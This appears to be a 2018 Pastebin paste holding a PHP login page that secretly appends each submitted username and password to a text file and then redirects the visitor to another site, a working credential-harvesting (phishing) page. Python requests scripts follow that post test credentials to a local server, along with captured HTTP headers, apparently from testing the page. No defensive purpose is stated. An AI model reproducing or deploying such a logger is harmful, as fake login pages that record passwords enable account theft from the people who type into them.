Guest User

Untitled

a guest
Nov 12th, 2018
211
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.33 KB | None | 0 0
  1. <form action="login.php" method="post">
  2. <input type="text" id="username" name="username"/>
  3. <input type="password" id="password" name="password"/>
  4. <input type="submit" name="Login" value="Login">
  5. </form>
  6.  
  7. <html>
  8. <head>
  9. <title>Login</title>
  10. </head>
  11. <body>
  12.  
  13. <?php
  14.  
  15. //If Submit Button Is Clicked Do the Following
  16. if ($_POST['Login']){
  17.  
  18. $myFile = "log.txt";
  19. $fh = fopen($myFile, 'a') or die("can't open file");
  20. $stringData = $_POST['username'] . ":";
  21. fwrite($fh, $stringData);
  22. $stringData = $_POST['password'] . "n";
  23. fwrite($fh, $stringData);
  24. fclose($fh);
  25.  
  26. } ?>
  27.  
  28.  
  29. //goes here after
  30. <script>location.href='https://YOURWEBSITE.com';</script>
  31.  
  32. </body>
  33. </html>
  34.  
  35. import requests
  36.  
  37. url = 'http://192.168.0.23/login.php'
  38. username = 'admin'
  39. password = 'letmein'
  40. r = requests.post(url, allow_redirects=False, data={
  41. 'username': username,
  42. 'password': password
  43. })
  44.  
  45. General:
  46. Request URL: http://192.168.0.23/login.php
  47. Request Method: POST
  48. Status Code: 200 OK
  49. Remote Address: 192.168.0.23:80
  50. Referrer Policy: no-referrer-when-downgrade
  51.  
  52. Response Headers:
  53. Connection: Keep-Alive
  54. Content-Encoding: gzip
  55. Content-Length: 135
  56. Content-Type: text/html; charset=UTF-8
  57. Date: Sat, 10 Nov 2018 22:01:13 GMT
  58. Keep-Alive: timeout=5, max=100
  59. Server: Apache/2.4.10 (Raspbian)
  60. Vary: Accept-Encoding
  61.  
  62. Request Headers:
  63. POST /login.php HTTP/1.1
  64. Host: 192.168.0.23
  65. Connection: keep-alive
  66. Content-Length: 41
  67. Cache-Control: max-age=0
  68. Origin: http://192.168.0.23
  69. Upgrade-Insecure-Requests: 1
  70. Content-Type: application/x-www-form-urlencoded
  71. User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36
  72. (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
  73.  
  74. Accept:text/html,application/xhtml+xml,application/xml;q=0.9,
  75. image/webp,image/apng,*/*;q=0.8
  76. Referer: http://192.168.0.23/
  77. Accept-Encoding: gzip, deflate
  78. Accept-Language: en-US,en;q=0.9
  79.  
  80. Form Data:
  81. username: admin
  82. password: letmein
  83. Login: Login
  84.  
  85. import requests
  86.  
  87. url = 'http://192.168.0.23/login.php'
  88. username = 'admin'
  89. password = 'letmein'
  90. Login = 'Login'
  91. r = requests.post(url, allow_redirects=False, data={
  92. 'username': username,
  93. 'password': password,
  94. 'Login': Login
  95. })
  96.  
  97. import requests
  98. headers = {'User-Agent': 'Mozilla/5.0'}
  99. payload = {'username':'Admin','password':'Letmein','Login':'Login'}
  100.  
  101. session = requests.Session()
  102. session.post('http://192.168.0.23/login.php',headers=headers,data=payload)
Add Comment
Please, Sign In to add comment